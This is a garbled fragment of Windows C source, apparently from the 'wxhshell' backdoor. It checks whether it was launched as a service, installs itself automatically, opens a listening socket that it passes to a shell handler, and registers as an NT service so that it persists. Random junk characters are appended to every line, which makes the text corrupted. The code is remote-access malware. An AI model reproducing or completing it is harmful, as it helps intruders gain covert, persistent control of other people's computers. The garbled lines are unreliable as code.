DWORD BasePriority; Vsm%h^]d
ULONG UniqueProcessId; "63zc1
ULONG InheritedFromUniqueProcessId; )cv0$
} PROCESS_BASIC_INFORMATION; `-9*@_-=M
j?Jd@(*y$
PROCNTQSIP NtQueryInformationProcess; (e bBH
g'd*TBnk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +Y.uZJ6+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J*^,l`C/
4N%2w(,+8
HANDLE hProcess; Z!s>AgH9u
PROCESS_BASIC_INFORMATION pbi; goBKr: &]w
@+T{M:&l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fw_bY/WN{
if(NULL == hInst ) return 0; )ZQ9a4%
4cVs(`g^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R~x;X3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x]my e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Vt^Xc
>? A `C!i
if (!NtQueryInformationProcess) return 0; w#gU1yu
z9);e8ck
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8h@)9Q]d\
if(!hProcess) return 0; l/y
Kc8^<
b;~EJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qMW%$L\HA
J _[e9
CloseHandle(hProcess); `Q(]AGI2
twJ|Jmd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >X\s[d&(
if(hProcess==NULL) return 0; 0.{oA`5N
FRJ:ym=E
HMODULE hMod; #P,[fgNy
char procName[255]; }77=<N br
unsigned long cbNeeded; _nIqy&<
4LB9w21
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P*"AtZuY]
JK^B +.
CloseHandle(hProcess); 4
L~;>]7
M#8Ao4
T
if(strstr(procName,"services")) return 1; // 以服务启动 X~Rk ,d3
!Sy'Z6%f
return 0; // 注册表启动 YCLD!S/?
} 1X!f!0=g+
y uK5 r
// 主模块 w Ycz\uV
int StartWxhshell(LPSTR lpCmdLine)
+y{93nl
{ I vl^,{4
SOCKET wsl; LPm# 3U
BOOL val=TRUE; .xc/2:m9
int port=0; 1l`s1C
struct sockaddr_in door; Z+h70,|
ja,L)b:
if(wscfg.ws_autoins) Install(); p#8LQP~0$
P20]>Hg
port=atoi(lpCmdLine); 0F0(]7g^
%]:vT&M
if(port<=0) port=wscfg.ws_port; ^?S@v1~7d
>I66R;
WSADATA data; pg& ]F
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wor'=byh\
=Gg)GSL^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2I(@aB+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w]5f3CIm
door.sin_family = AF_INET; MF`k~)bDV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >.nt'BQ
door.sin_port = htons(port); "<n"A7e
/x8C70W^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :]z-Rz
closesocket(wsl); zHum&V8=H
return 1; Mbi+Vv-
} ~bWWu`h
Z$m2rZ#
if(listen(wsl,2) == INVALID_SOCKET) { \qd)l
closesocket(wsl); pi l*/&pB
return 1; h
C`p<jp/
} B|
0s4E
Wxhshell(wsl); j C1^>D
WSACleanup(); 4kY{X%9
e#eO`bT
return 0; ^N}~U5
<+1w'-
} ZD] '$
q$2taG}
// 以NT服务方式启动 *,*:6^t
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !)*T
{ bHo?Rw!.
DWORD status = 0; RKJWLofX&
DWORD specificError = 0xfffffff; &= yqWW?
eiSO7cGy
serviceStatus.dwServiceType = SERVICE_WIN32; d8q$&(]<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fjZveH0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [j+0EVwB
serviceStatus.dwWin32ExitCode = 0; +so o2cb
serviceStatus.dwServiceSpecificExitCode = 0; y7G|P~td
serviceStatus.dwCheckPoint = 0; ]O(HZD%
serviceStatus.dwWaitHint = 0; S?z j&XY3
\iLd6Qo_aq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `kT$Gx4x
if (hServiceStatusHandle==0) return; 9 0(oV&
_<~Vxz9
status = GetLastError(); w.F3o4YP
if (status!=NO_ERROR) u'n%BVt
{ xXh]z|
serviceStatus.dwCurrentState = SERVICE_STOPPED; q\pc2Lh?^
serviceStatus.dwCheckPoint = 0; SD.*G'N&2f
serviceStatus.dwWaitHint = 0; (i~%4w=
serviceStatus.dwWin32ExitCode = status; D
'_#?%3^
serviceStatus.dwServiceSpecificExitCode = specificError; Yiw^@T\H`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7X3l&J2C4l
return; 7a.#F]`
} 1Y0oo jD
;8xn"G0}a
serviceStatus.dwCurrentState = SERVICE_RUNNING; `DY4d$!4
serviceStatus.dwCheckPoint = 0; fq!6#Usf;i
serviceStatus.dwWaitHint = 0; ?[fl$EG
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uz8C!L ">C
} Vm8_
!$F
<YNPhu~5
// 处理NT服务事件,比如:启动、停止 o;-!?uJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) e&7}N Za
{ v__Go kj-
switch(fdwControl) RX|&